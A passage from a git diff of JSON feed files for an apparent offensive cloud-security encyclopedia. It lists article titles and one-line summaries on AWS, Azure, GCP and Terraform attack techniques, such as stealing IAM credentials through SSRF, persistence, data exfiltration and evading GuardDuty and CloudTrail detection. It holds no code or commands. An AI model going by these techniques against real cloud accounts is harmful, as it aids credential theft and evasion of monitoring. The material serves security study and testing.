"https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "url": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "title": "Introduction to User Data", "content_html": "An introduction to EC2 User Data and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png", "date_published": "2020-12-20T20:10:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "url": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "title": "Brute Force IAM Permissions", "content_html": "Brute force the IAM permissions of a user or role to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png", "date_published": "2020-12-20T18:58:26+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "url": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "title": "Get Account ID from AWS Access Keys", "content_html": "Techniques to enumerate the account ID associated with an AWS access key.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png", "date_published": "2020-09-27T16:06:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/whoami/", "url": "https://hackingthe.cloud/aws/enumeration/whoami/", "title": "Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png", "date_published": "2020-08-21T17:00:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "url": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "title": "Steal IAM Credentials and Event Data from Lambda", "content_html": "Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png", "date_published": "2020-08-12T23:15:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "url": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "title": "Unauthenticated Enumeration of IAM Users and Roles", "content_html": "Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png", "date_published": "2020-08-05T14:32:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "url": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "title": "Steal EC2 Metadata Credentials via SSRF", "content_html": "Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png", "date_published": "2020-08-01T17:43:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "url": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "title": "Connection Tracking", "content_html": "Abuse security group connection tracking to maintain persistence even when security group rules are changed.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png", "date_published": "2020-07-30T23:28:52+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "url": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "title": "IAM unique identifiers", "content_html": "Chart of the IAM unique ID prefixes.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png", "date_published": "2020-07-27T19:47:46+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "title": "Bypass GuardDuty Pentest Findings for the AWS CLI", "content_html": "Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png", "date_published": "2020-07-22T02:58:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "url": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "title": "Bypass Credential Exfiltration Detection", "content_html": "When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png", "date_published": "2020-07-22T02:58:24+00:00", "authors": [], "tags": null}]} \ No newline at end of file diff --git a/feed_json_updated.json b/feed_json_updated.json index d749ad5dd..6739f27e4 100644 --- a/feed_json_updated.json +++ b/feed_json_updated.json @@ -1 +1 @@ -{"version": "https://jsonfeed.org/version/1", "title": "Hacking The Cloud", "home_page_url": "https://hackingthe.cloud/", "feed_url": "https://hackingthe.cloud/feed_json_updated.json", "description": "The encyclopedia for offensive security in the cloud.", "icon": null, "authors": [], "language": "en", "items": [{"id": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "url": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "title": "[Deprecated] Enumerate Permissions without Logging to CloudTrail", "content_html": "Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "title": "Enumerate AWS Account ID from a Public S3 Bucket", "content_html": "Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "url": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "title": "Unauthenticated Enumeration of IAM Users and Roles", "content_html": "Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "title": "Derive a Principal ARN from an AWS Unique Identifier", "content_html": "How to convert an unique identifier to a principal ARN.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "title": "AWS IAM Privilege Escalation Techniques", "content_html": "Common techniques that can be leveraged to escalate privileges in an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "title": "CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios", "content_html": "An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "url": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "title": "Prevent Expensive AWS API Actions with SCPs", "content_html": "Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "url": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "title": "Connection Tracking", "content_html": "Abuse security group connection tracking to maintain persistence even when security group rules are changed.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "url": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "title": "Get IAM Credentials from a Console Session", "content_html": "Convert access to the AWS Console into IAM credentials.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "url": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "title": "Intercept SSM Communications", "content_html": "With access to an EC2 instance you can intercept, modify, and spoof SSM communications.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png", "date_modified": "2024-11-21T02:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "title": "Bypass GuardDuty Pentest Findings for the AWS CLI", "content_html": "Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png", "date_modified": "2024-11-12T03:00:45+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "title": "AWS CLI Tips and Tricks", "content_html": "A collection of tips and tricks for using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png", "date_modified": "2024-11-04T03:15:10+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "url": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "title": "DNS and CloudFront Domain Takeover via Deleted S3 Buckets", "content_html": "How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png", "date_modified": "2024-10-30T21:58:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/run-command-abuse/", "url": "https://hackingthe.cloud/azure/run-command-abuse/", "title": "Run Command Abuse", "content_html": "Utilise Azure RunCommands for execution and lateral movement.", "image": "https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png", "date_modified": "2024-10-05T05:04:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "title": "Exploiting Misconfigured GitLab OIDC AWS IAM Roles", "content_html": "Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png", "date_modified": "2024-09-01T22:56:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "url": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "title": "Steal IAM Credentials and Event Data from Lambda", "content_html": "Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png", "date_modified": "2024-08-20T01:29:51+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "title": "Abusing Misconfigured Role Trust Policies with a Wildcard Principal", "content_html": "How to take advantage of misconfigured role trust policies that have wildcard principals.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png", "date_modified": "2024-08-04T21:24:46+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "title": "Enumerate Org/Folder/Project Permissions + Individual Resource Permissions", "content_html": "Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png", "date_modified": "2024-07-14T21:50:00+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/abusing-managed-identities/", "url": "https://hackingthe.cloud/azure/abusing-managed-identities/", "title": "Abusing Managed Identities", "content_html": "Abusing Managed Identities", "image": "https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png", "date_modified": "2024-06-15T06:21:29+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "url": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "title": "Discover secrets in public AMIs", "content_html": "How to find public AMIs and get stored secrets.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png", "date_modified": "2024-05-29T03:08:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "title": "Enumerate Root User Email Address from the AWS Console", "content_html": "Identify if an email address belongs to the root user of an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png", "date_modified": "2024-05-21T20:10:23+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "title": "AWS Organizations Defaults & Pivoting", "content_html": "How to abuse AWS Organizations' default behavior and lateral movement capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/anonymous-blob-access/", "url": "https://hackingthe.cloud/azure/anonymous-blob-access/", "title": "Anonymous Blob Access", "content_html": "Finding and accessing files stored in Azure Storage Accounts without authentication.", "image": "https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "url": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "title": "Soft Deleted Blobs", "content_html": "Recovering and accessing files in private Storage Accounts that have been deleted.", "image": "https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/", "url": "https://hackingthe.cloud/", "title": "Hacking The Cloud", "content_html": "The encyclopedia for offensive security in the cloud", "image": "https://hackingthe.cloud/assets/images/social/index.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "url": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "title": "CI/CDon't", "content_html": "An AWS/GitLab CICD themed CTF.", "image": "https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "url": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "title": "Loot Public EBS Snapshots", "content_html": "How to find and take advantage of exposed EBS snapshots.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "url": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "title": "Abusing Elastic Container Registry for Lateral Movement", "content_html": "With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "url": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "title": "Steal EC2 Metadata Credentials via SSRF", "content_html": "Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "url": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "title": "Exfiltrating S3 Data with Bucket Replication Policies", "content_html": "Backdooring S3 buckets with Bucket Replication Policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "title": "Abusing Misconfigured ECR Resource Policies", "content_html": "How to take advantage of misconfigured AWS ECR private repositories.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "url": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "title": "Using Stolen IAM Credentials", "content_html": "How to work with stolen IAM credentials and things to consider.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "url": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "title": "Create a Console Session from IAM Credentials", "content_html": "How to use IAM credentials to create an AWS Console session.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "title": "Lambda Persistence", "content_html": "How to establish persistence on a Lambda function after getting remote code execution.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "title": "User Data Script Persistence", "content_html": "Maintain access to an EC2 instance and it's IAM role via user data scripts.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2022_wrap-up/", "url": "https://hackingthe.cloud/blog/2022_wrap-up/", "title": "2022 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2022.", "image": "https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2023_wrap-up/", "url": "https://hackingthe.cloud/blog/2023_wrap-up/", "title": "2023 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2023.", "image": "https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/v2_new_look/", "url": "https://hackingthe.cloud/blog/v2_new_look/", "title": "Hacking The Cloud v2: New Look", "content_html": "All about the new look for Hacking The Cloud v2.", "image": "https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "url": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "title": "Terraform ANSI Escape", "content_html": "Using ANSI Escape Sequences to Hide Malicious Terraform Code", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "url": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "title": "Terraform Enterprise: Attack the Metadata Service", "content_html": "Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "url": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "title": "Role Chain Juggling", "content_html": "Keep your access by chaining assume-role calls.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png", "date_modified": "2024-02-09T02:49:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/whoami/", "url": "https://hackingthe.cloud/aws/deprecated/whoami/", "title": "[Deprecated] Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png", "date_modified": "2024-02-02T00:17:34+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "url": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "title": "EC2 Privilege Escalation Through User Data", "content_html": "How to escalate privileges on an EC2 instance by abusing user data.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png", "date_modified": "2024-01-23T00:25:07+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "title": "AWS IAM Persistence Methods", "content_html": "A catalog of methods to maintain access to the AWS control plane.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png", "date_modified": "2024-01-21T17:34:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "url": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "title": "Run Shell Commands on EC2 with Send Command or Session Manager", "content_html": "Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png", "date_modified": "2024-01-21T17:27:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "url": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "title": "Modify GuardDuty Configuration", "content_html": "Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png", "date_modified": "2024-01-21T17:20:20+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "title": "AWS API Call Hijacking via ACM-PCA", "content_html": "By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png", "date_modified": "2024-01-13T20:48:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "url": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "title": "Get Account ID from AWS Access Keys", "content_html": "Techniques to enumerate the account ID associated with an AWS access key.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png", "date_modified": "2024-01-13T01:04:53+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "title": "Misconfigured Resource-Based Policies", "content_html": "Common misconfigurations of resource-based policies and how they can be abused.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png", "date_modified": "2024-01-11T08:57:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "url": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "title": "Bypass Cognito Account Enumeration Controls", "content_html": "Leverage a flaw in Cognito's API to enumerate accounts in User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png", "date_modified": "2024-01-08T15:03:16+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "title": "Abusing Unintended Self-Signup in AWS Cognito", "content_html": "How to take advantage of misconfigured Amazon Cognito User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png", "date_modified": "2024-01-06T22:14:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "title": "Abusing Overpermissioned AWS Cognito Identity Pools", "content_html": "How to take advantage of misconfigured Amazon Cognito Identity Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png", "date_modified": "2024-01-06T20:43:40+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "url": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "title": "IAM unique identifiers", "content_html": "Chart of the IAM unique ID prefixes.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png", "date_modified": "2024-01-04T04:45:39+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "url": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "title": "Data Exfiltration through S3 Server Access Logs", "content_html": "Exfiltrate data via S3:GetObject and S3 server access logs.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png", "date_modified": "2023-12-08T02:37:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/whoami/", "url": "https://hackingthe.cloud/aws/enumeration/whoami/", "title": "Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png", "date_modified": "2023-11-05T18:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "url": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "title": "Bypass Credential Exfiltration Detection", "content_html": "When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png", "date_modified": "2023-10-18T00:06:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "url": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "title": "Survive Access Key Deletion with 